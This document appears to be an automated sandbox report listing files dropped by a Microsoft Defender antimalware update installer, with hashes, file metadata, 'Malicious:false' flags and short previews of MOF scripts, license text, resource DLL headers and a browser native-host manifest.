                                                            Preview: ..#.p.r.a.g.m.a. .a.u.t.o.r.e.c.o.v.e.r.....#.p.r.a.g.m.a. .n.a.m.e.s.p.a.c.e.(.".\.\.\.\...\.\.r.o.o.t.\.\.M.i.c.r.o.s.o.f.t.\.\.W.i.n.d.o.w.s.\.\.D.e.f.e.n.d.e.r.".).........I.n.s.t.a.n.c.e. .o.f. ._._.W.i.n.3.2.P.r.o.v.i.d.e.r. .a.s. .$.p.r.o.v.....{..... . .N.a.m.e. .=. .".P.r.o.t.e.c.t.i.o.n.M.a.n.a.g.e.m.e.n.t.".;..... . .C.l.s.I.d. .=. .".{.A.7.C.4.5.2.E.F.-.8.E.9.F.-.4.2.E.B.-.9.F.2.B.-.2.4.5.6.1.3.C.A.0.D.C.9.}.".;..... . .I.m.p.e.r.s.o.n.a.t.i.o.n.L.e.v.e.l. .=. .1.;..... . .H.o.s.t.i.n.g.M.o.d.e.l. .=. .".L.o.c.a.l.S.e.r.v.i.c.e.H.o.s.t.".;..... . .v.e.r.s.i.o.n. .=. .1.0.7.3.7.4.1.8.2.5.;.....}.;.........I.n.s.t.a.n.c.e. .o.f. ._._.M.e.t.h.o.d.P.r.o.v.i.d.e.r.R.e.g.i.s.t.r.a.t.i.o.n.....{..... . .P.r.o.v.i.d.e.r. .=. .$.p.r.o.v.;.....}.;.........I.n.s.t.a.n.c.e. .o.f. ._._.E.v.e.n.t.P.r.o.v.i.d.e.r.R.e.g.i.s.t.r.a.t.i.o.n.....{..... . .P.r.o.v.i.d.e.r. .=. .$.p.r.o.v.;..... . .e.v.e.n.t.Q.u.e.r.y.L.i.s.t. .=. .{.".s.e.l.e.c.t. .*. .f.r.o.m. .M.S.F.T._.M.p.E.v.e.n.t.".}.;...
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ProtectionManagement_uninstall.mof
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:C source, Little-endian UTF-16 Unicode text, with CRLF, CR line terminators
                                                            Category:dropped
                                                            Size (bytes):2570
                                                            Entropy (8bit):3.4549784303178717
                                                            Encrypted:false
                                                            SSDEEP:24:QXbclfUWvlDQzj3WvlDQzCWvlDQzwNWvlDQzYTYWvlDQzfWvlDQzyWvlDQzEWvl5:eTjDGwJ3r24RFZ7a2la2Sa2mWaWP
                                                            MD5:72D045707D108D55B76CD70AD9A84AD6
                                                            SHA1:8FE25F4F289302A49CF2FA0F962FEA4D7D82FB8A
                                                            SHA-256:30A0AD834D7B3F4FB47010B4BB6905576792E83064E9DD858EABF0CCA17FC3DF
                                                            SHA-512:E3C6F3F931AEFCF1F0B1061B7355451692AF1F459F8ED13C39B03951A6A3E833AEBB1031796B5D806C615D3E84C178D628B10AB5EC5CCBC50935CBB0D584FA50
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: ..#.p.r.a.g.m.a. .n.a.m.e.s.p.a.c.e. .(. .".\.\.\.\...\.\.r.o.o.t.\.\.M.i.c.r.o.s.o.f.t.\.\.W.i.n.d.o.w.s.\.\.D.e.f.e.n.d.e.r.".).........#.p.r.a.g.m.a. .d.e.l.e.t.e.c.l.a.s.s.(.".M.S.F.T._.M.p.C.o.m.p.u.t.e.r.S.t.a.t.u.s.".,.n.o.f.a.i.l.).....#.p.r.a.g.m.a. .d.e.l.e.t.e.c.l.a.s.s.(.".M.S.F.T._.M.p.E.v.e.n.t.".,.n.o.f.a.i.l.).....#.p.r.a.g.m.a. .d.e.l.e.t.e.c.l.a.s.s.(.".M.S.F.T._.M.p.H.e.a.r.t.B.e.a.t.".,.n.o.f.a.i.l.).....#.p.r.a.g.m.a. .d.e.l.e.t.e.c.l.a.s.s.(.".M.S.F.T._.M.p.P.r.e.f.e.r.e.n.c.e.".,.n.o.f.a.i.l.).....#.p.r.a.g.m.a. .d.e.l.e.t.e.c.l.a.s.s.(.".M.S.F.T._.M.p.S.c.a.n.".,.n.o.f.a.i.l.).....#.p.r.a.g.m.a. .d.e.l.e.t.e.c.l.a.s.s.(.".M.S.F.T._.M.p.S.i.g.n.a.t.u.r.e.".,.n.o.f.a.i.l.).....#.p.r.a.g.m.a. .d.e.l.e.t.e.c.l.a.s.s.(.".M.S.F.T._.M.p.T.h.r.e.a.t.".,.n.o.f.a.i.l.).....#.p.r.a.g.m.a. .d.e.l.e.t.e.c.l.a.s.s.(.".M.S.F.T._.M.p.T.h.r.e.a.t.C.a.t.a.l.o.g.".,.n.o.f.a.i.l.).....#.p.r.a.g.m.a. .d.e.l.e.t.e.c.l.a.s.s.(.".M.S.F.T._.M.p.T.h.r.e.a.t.D.e.t.e.c.t.i.o.n.".,.n.o.f.a.
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ThirdPartyNotices.txt
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):6717
                                                            Entropy (8bit):5.162252158398129
                                                            Encrypted:false
                                                            SSDEEP:96:+WRspYDLPkQHFom1DW4DlHFposoSKYax9gDCk4Cp1PRsQHdBLe:DaVQHFB0AlHISKYoopoQHdxe
                                                            MD5:CE7313760386B6ABDE405F9B9E6EA51D
                                                            SHA1:F969931AC45991F7ECB6767A69433A7082ECCA2F
                                                            SHA-256:73E26404B3571A9E859B3A1144F54C353172479586E0A23C3A7DDA0C1C0AE919
                                                            SHA-512:CF990FC05FD3ED78FF35F1A1ACD5317626D46745BF7E4F8C62AA068A587ABF52F232080464F82692A2BB8C04A4FFA53599B933A4281BC7E697337720DB65BF29
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: ===============================================================================..1. C++ REST SDK (https://github.com/Microsoft/cpprestsdk).... C++ REST SDK ....The MIT License (MIT)....Copyright (c) Microsoft Corporation....All rights reserved.....Permission is hereby granted, free of charge, to any person obtaining a copy of..this software and associated documentation files (the "Software"), to deal in..the Software without restriction, including without limitation the rights to..use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of..the Software, and to permit persons to whom the Software is furnished to do so,..subject to the following conditions:....The above copyright notice and this permission notice shall be included in all..copies or substantial portions of the Software.....THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR..IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,..FITNESS FOR A PARTICULAR PURPO
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\af-ZA\mpuxagent.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):29928
                                                            Entropy (8bit):4.969613819843474
                                                            Encrypted:false
                                                            SSDEEP:384:7r/SmH7frhpOJsSYNEYffu1vB+sEqEKSTs/WS8/WWRDBRJZ4UslGsV7:7rbHnZNEYfPDR1PV8
                                                            MD5:2A54A6EFE0D70D2F8120E4F9AE10F2AE
                                                            SHA1:35DD602C81E5E1E086C093BB3C3F97CC68FA2FD6
                                                            SHA-256:F90B4913826DA577A68006FC7211E2390534BE9639934AFC5A375436373B1C71
                                                            SHA-512:8AE2DCEEF670F26A753B1525FD126DC4748A5124B94F5B8ECB632E2A55A2B3C709146C40C936806CCFC64B804A1FF23E31C47293ECD4FF524F5CDC86320D205F
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........R...............................................p......*.....@.......................................... ..DN...........T... ...........................................................................................rdata..p...........................@..@.rsrc...DN... ...P..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$...I...rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\am-ET\mpuxagent.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):22264
                                                            Entropy (8bit):6.043832073272478
                                                            Encrypted:false
                                                            SSDEEP:384:7raKntNfzRKLpPExWUN7W0WVQB82s/BW/pQWS8/W4RDBRJvsl5D2:7r1ntNfzRKLpcjfRxR1Pl
                                                            MD5:F5F731716CA6C6CEFF57DEE03EB33376
                                                            SHA1:FA71CD3569AD3C6518E626E09965053F58AB6D9D
                                                            SHA-256:A2E33041860906CEF0BCE5B2F3FD2AF88E3DB61E97FF9EB16D650CAD1F69F708
                                                            SHA-512:FCCD58F3A698CE9668322C76140E8FE55B2F484962D1A9B51828C00C3CD888D85EA83D3626993B50098271B250DDE6783FA129E5225153112781D5565313553F
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........4...............................................`............@.......................................... ...1...........6... ...........................................................................................rdata..p...........................@..@.rsrc....1... ...2..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$...-...rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ar-SA\MpAsDesc.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):58600
                                                            Entropy (8bit):4.802281589367443
                                                            Encrypted:false
                                                            SSDEEP:768:7r+0QI4V/O4klevfq7mvqaI216icZKfEflxZFcR1Pga1zR3:qCcHPVZ
                                                            MD5:628870D988EFBFC39C06E7BA62495FFE
                                                            SHA1:A3A302666A07A5FE0D7FAD69DE9B1AFBD8F91536
                                                            SHA-256:161D58719676884DB3BDFEA9A5770A55EC7BEBE839D97B6ECA3D20EC5A3D6B2D
                                                            SHA-512:E04ECDC7226C9B18FC86F51F6B70CD6E13345C8F2A8DFEE0845350777580CF46A738271E949B07216D83A647685DAD3666A7F5C2BA36451E11DB1545AFD9F7E9
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!................................................................:2....@.......................................... ..X................ ..............8............................................................................rdata..............................@..@.rsrc........ ......................@..@.............I.........T...8...8........I.........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....(..X....rsrc$02.... ......d...!Z...!.4@e_/x!......I.........................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ar-SA\mpuxagent.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):25320
                                                            Entropy (8bit):5.568099766445783
                                                            Encrypted:false
                                                            SSDEEP:384:7r8teWannr4pG2RI96HUy/oV/m9HlCWS8/WWRDBRJWiZEQmDWlGszRo:7r5nnr4pG2RI9AoV+9HVbR1PWJ1zv
                                                            MD5:53F858DC25ADF3684E7E025277A57023
                                                            SHA1:A51A05FFA31010C1B28A63B5B7BBB490239BC1C6
                                                            SHA-256:D57524C7B0D7FE779DC3803F041C341F818381E19703D32BAA988F1697D1175C
                                                            SHA-512:0A7E6808CDB2EB6E31596218FE42B2BFEE9B067B22913D43A1E1C1D5B1832C3018B04FC633E8F9223378216372235988FE15F2D9FA074AC595046542FF54B9D1
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........@...............................................`............@.......................................... ...>...........B... ...........................................................................................rdata..p...........................@..@.rsrc....>... ...>..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$..H9...rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\as-IN\mpuxagent.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):29416
                                                            Entropy (8bit):5.632188784867651
                                                            Encrypted:false
                                                            SSDEEP:768:7rOPaPbPAPCPLTPnPWPkP8Pe1lOO6FD6kKOy6OQOQ4LuYz3KUrZPk/4hPrPDV86/:xcNgPHPwc
                                                            MD5:D359F26A958650D3B5A28495DC39D409
                                                            SHA1:3EF8B8E1C4E876E1C2A6157AE92C65E629C7559C
                                                            SHA-256:F2A33F57BED6013E9850AB150C83577862DE7FADA3CAA1C87C94100F486D92A7
                                                            SHA-512:0ED71E0EA79B7AA96E8358B28DDE2C7C419C526168271355AA73C281BB123E9306FE1F3A94A1A9A7BBD4234E54CB0760BA31D6BBF5E13BEB8305460000C3685D
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........P...............................................p............@.......................................... ...L...........R... ...........................................................................................rdata..p...........................@..@.rsrc....L... ...N..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$..(H...rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\az-Latn-AZ\mpuxagent.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):28904
                                                            Entropy (8bit):5.231249488030954
                                                            Encrypted:false
                                                            SSDEEP:768:7rOj1wdJ4v3YFcFqFkFJFgFGFYFhrVbFRdtR1Pl/DM2:Gj1gFcFqFkFJFgFGFYFlVbFbtHPl/w2
                                                            MD5:06A297C9B8293DA4AC3B56D304874F2A
                                                            SHA1:A7B7F072E7A7A5837382293CD65ABF10088E6EA9
                                                            SHA-256:C5D1763D4F042FE777BB02E47E26F76EC9008AF689679BDA6480E1541A1158BF
                                                            SHA-512:AB2C0EACEE65A2CC104DE75C86311374227E3E91E8BCEBED89F729B07681E2A79D88BC73F507C471666FCE8753DC18E83C2C37B27D8088D1563EC8634B05EBD8
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........N...............................................p............@.......................................... ...K...........P... ...........................................................................................rdata..p...........................@..@.rsrc....K... ...L..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$...F...rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\bg-BG\MpAsDesc.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):64744
                                                            Entropy (8bit):4.650844920332313
                                                            Encrypted:false
                                                            SSDEEP:384:7rTz3pDQHT+ddcOc1jzG/by+psEV++OfYcYQIhJ2YIqqO7a1BQdWhjRDBRJ4NKgY:7rtuDOYz01TO29VqhQ4jR1P4tl51VQ
                                                            MD5:DDFB72494C7DAB2C2DCBBF58F1384BB8
                                                            SHA1:474F7CDEDFEF2B0E5765B5EF151A8DEA7845BE68
                                                            SHA-256:7E28FA6FC9DD05652F3DDCC4B9BC54469DD44995EC69EF149B9477B4C0CE53D6
                                                            SHA-512:6AD3EBF149C1C9A5BE7FF012A2AEE38DD6D2EFADE2EE73E1F41E45393180DA13BB1FB8E079E6D8CBE5D51259A1D57351738D037A3589FF50CF7577C372A1C521
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!.................................................................H....@.......................................... ................... ..............8............................................................................rdata..............................@..@.rsrc........ ......................@..@.............I.........T...8...8........I.........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....(..X....rsrc$02.... ......d...!Z...!.4@e_/x!......I.........................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\bg-BG\mpuxagent.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):29416
                                                            Entropy (8bit):5.351887592007768
                                                            Encrypted:false
                                                            SSDEEP:384:7rTpJ4DyEhyXvb1vstW33294WS8/WPRDBRJfJs/Al3IKO:7rV4huvUVPmR1PK/KO
                                                            MD5:6275E196D18A7E2E298B30AF3ED5C880
                                                            SHA1:240364A589E90A9DE843CBB9C34555A2E4274793
                                                            SHA-256:06B162090901AC0604283E1CE2EC1928E0A7C651332C3E7BE593E438DB02AC88
                                                            SHA-512:54BFC5FA5D4DB45538E0C60454AB1E58371338C982496A19485BC76A3047E0264F2B30070B5A4E1A30B865FE38A95FF36C758790E5B8C8EE5B8ACEAFA200AEA8
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........P...............................................p............@.......................................... ...M...........R... ...........................................................................................rdata..p...........................@..@.rsrc....M... ...N..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$...H...rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\bn-IN\mpuxagent.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):29944
                                                            Entropy (8bit):5.555067530565591
                                                            Encrypted:false
                                                            SSDEEP:768:7ruX333303MqF6WVHrS3snXlFwDzffQ6SMn6vvvU98Io/PI44te1eF3r+YR1Ph:F64HK7+YHPh
                                                            MD5:231D5D0EC76C7498E5A94E120943699F
                                                            SHA1:D8DF8518946F02F5C51860983188C574B10A9180
                                                            SHA-256:1807A40E971F9A586671F144CFB34404D2AFAA027EC9E670E323BA70577FC9E4
                                                            SHA-512:E62D8578FA404E1753CA5225AD6DBFDA8AA392B4340C4DCDE8E310CAE522A4960536AD9192D8A18DF47030C8380056D896ECC378A84F3EF9BA2192B6C7DC0024
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........R...............................................p......\b....@.......................................... ...O...........T... ...........................................................................................rdata..p...........................@..@.rsrc....O... ...P..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$...J...rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\bs-Latn-BA\mpuxagent.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):28392
                                                            Entropy (8bit):5.05898751052722
                                                            Encrypted:false
                                                            SSDEEP:384:7rgBdq0HifHAHyuJv3JSF666n/o001ZAGmIbmLWS8/W+RDBRJilSlGsM3k2:7r8dYuJYyn/oVv3zjR1PihX5
                                                            MD5:6C4B5C9E187A6B13C39FAA41C742EDD6
                                                            SHA1:30A5B3B8826EE8741CD09D5AD65D6BAA2DC68BB0
                                                            SHA-256:9C776358CD7A47CCBA26F992472A0A739C6F0C152B89B5AEDDCACA8AC43684F0
                                                            SHA-512:16E9795DD6EF63CACA9C7D7E96BF0CB2C0177641213F387586D4243E159E6464B1E736A1892071B80433F7F825A0530CEEB72EBABB4F4F7EB3802879AFED916F
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........L...............................................p............@.......................................... ...I...........N... ...........................................................................................rdata..p...........................@..@.rsrc....I... ...J..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$...D...rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ca-ES-valencia\mpuxagent.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):29928
                                                            Entropy (8bit):4.978741308381524
                                                            Encrypted:false
                                                            SSDEEP:768:7rleQQmmfwxJvYOmnVmJYlEmnVY4mxYCOAlc50EsUpVJg94T4OCaTR1PD/1zx:9eFlNTHPDdx
                                                            MD5:C9E9AE82C7782DC0E66BFE5EFEFF336C
                                                            SHA1:676F16943FAB27A375C2E3F3AC0CE921AB751367
                                                            SHA-256:CA202FDD69FB81DBF24708D144E942FC10ACCFA4703BE979AAD55FD88B62E7F6
                                                            SHA-512:AE90BB4093A1879E8876D45262004AD10FCC9BE13D4BE1F9164C866827F2C48C28CE170274CDA4D0C13C3CE2EBF8106E5D374300F51EDEDE6E580F38BADD75CA
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........R...............................................p............@.......................................... ...N...........T... ...........................................................................................rdata..p...........................@..@.rsrc....N... ...P..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$...J...rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ca-ES\MpAsDesc.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):67816
                                                            Entropy (8bit):4.158464028484954
                                                            Encrypted:false
                                                            SSDEEP:768:7rDj4mcWQ7uhqYxT352UL2dSsq5/8Vczyuz9ppJ4cwQRMC20hvQii98+wEH4cdqd:7WQ170VcfRMZgqHPO/
                                                            MD5:D2A485200AE94654A45301149D87A8A1
                                                            SHA1:501C933C5BC3D5DC9AFADC86FC73D1567DCDADDD
                                                            SHA-256:9164442B33BAA1DAAF4609189D8169CA9DFA67BB673683F66A49ED9145DA7585
                                                            SHA-512:7D763413C96FB4197216F03028046A510E5393EE9789E827DC9665243889491A05E8A4ACDAF813E3E8773E5E952F53960C02AC86FBD4C83EE402B5DEF44CD17B
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L..................!......................................................................@.......................................... ..T................ ..............8............................................................................rdata..............................@..@.rsrc........ ......................@..@.............I.........T...8...8........I.........$...................8....rdata..8...x....rdata$zzzdbg.... .......rsrc$01.....(..X....rsrc$02.... ......d...!Z...!.4@e_/x!......I.........................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\ca-ES\mpuxagent.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):29928
                                                            Entropy (8bit):4.970820382866816
                                                            Encrypted:false
                                                            SSDEEP:768:7rAjdTb3dD4GbRVgWV9Hw2b4HX4bi2KwNDFWhGWD3IDRU0MZ8HoR1PX6Lz:Yj0KoHPKf
                                                            MD5:0EC7F6A6BDC86183AA58893F948989A2
                                                            SHA1:ABFAB912AF53106A82CD50158EB147F5EC4A3456
                                                            SHA-256:02FC3320529F9A51D88030CE7C03AC3A62517B8141768FE001B995DCFBB202F4
                                                            SHA-512:CD6FC83F8F2A5F676ED60655BB607D2D6DA7D4A274A809D1CAB0854B2257E20CD7D4E0D0FC0C1A1AFD4D2E99F8F0A99A7B89C2C2EDF2F741F7DED7B3AE1DFAD1
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........k=.].S.].S.].S.....\.S...Q.\.S.Rich].S.........PE..L....JVa...........!.........R...............................................p.......S....@.......................................... ...N...........T... ...........................................................................................rdata..p...........................@..@.rsrc....N... ...P..................@..@.............JVa........T........................rdata......T....rdata$zzzdbg.... .......rsrc$01.....$..8J...rsrc$02............................................................................................................................................................................................................................................................................................................................................................................................
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\com.microsoft.defender.be.chrome.json
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:ASCII text, with CRLF line terminators
                                                            Category:dropped
                                                            Size (bytes):350
                                                            Entropy (8bit):4.8011887903612696
                                                            Encrypted:false
                                                            SSDEEP:6:3HWSjKNde/Ott+dmvVnEuLrORVCqwvFFaFlLulkNCB+SrxxLxeNCWHyLIo:L2kO+WnEeMOUlLAjB/1N/0o
                                                            MD5:60A2FC65D3CC1D3DE9ECD2C5319738FC
                                                            SHA1:873D18E03523BBE80D1410AA475ED6CC2DAF0D9D
                                                            SHA-256:6C6F52B13235148AF305BD614779EA885C00B64D0BB7CC764E3C67198CC524A2
                                                            SHA-512:36E8930108DA1B953DC07809A9E670F923A4F07EAC9AD2A229844E556595CE7383F35001E43AA6877FF42D9BD42C55BB2BF0ED05E058D4E8CFF65E6B2B7A7BFD
                                                            Malicious:false
                                                            Reputation:unknown
                                                            Preview: {.. "name": "com.microsoft.defender.browser_extension.native_message_host",.. "description": "Native host for Microsoft Defender Browser Extension",.. "path": "mpextms.exe",.. "type": "stdio",.. "allowed_origins": [.. "chrome-extension://echcggldkblhodogklpincgchnpgcdco/",.. "chrome-extension://lcmcgbabdcbngcbcfabdncmoppkajglo/".. ]..}
                                                            C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\85F3688C-80F4-4AE9-A600-CCB6F7611E7D\cs-CZ\MpAsDesc.dll.mui
                                                            Process:C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\mpam-f54ed867.exe
                                                            File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                            Category:dropped
                                                            Size (bytes):62696
                                                            Entropy (8bit):4.4300925979744425
                                                            Encrypted:false
                                                            SSDEEP:768:7rpChXzlbrS2tVdqSp3wbjfKMoW4EEEddewzR1PiM5md:hChXz1Lf04SjfKMoW4t8ewzHPlmd
                                                            MD5:71EA670E1886321DDDDF005D7B47A7FD
                                                            SHA1:FB9AA4F04C6744123C2E38DE746983C1B82A6F00
                                                            SHA-256:BC031DC51AE7128AEE1ADCCDA0F7ACC9EB3BBE8DE121B206B0E9801E956F82B7
                                                            SHA-512:3BB516F32FC0516DE97CB520AED0E3976BC201183144AF54FF392BB73237767C50794F923C84E738D82A7430C6660EE7301891CACD1517F17DBB6C6391B46070
                                                            Malicious:false
                                                            Reputation:unknown
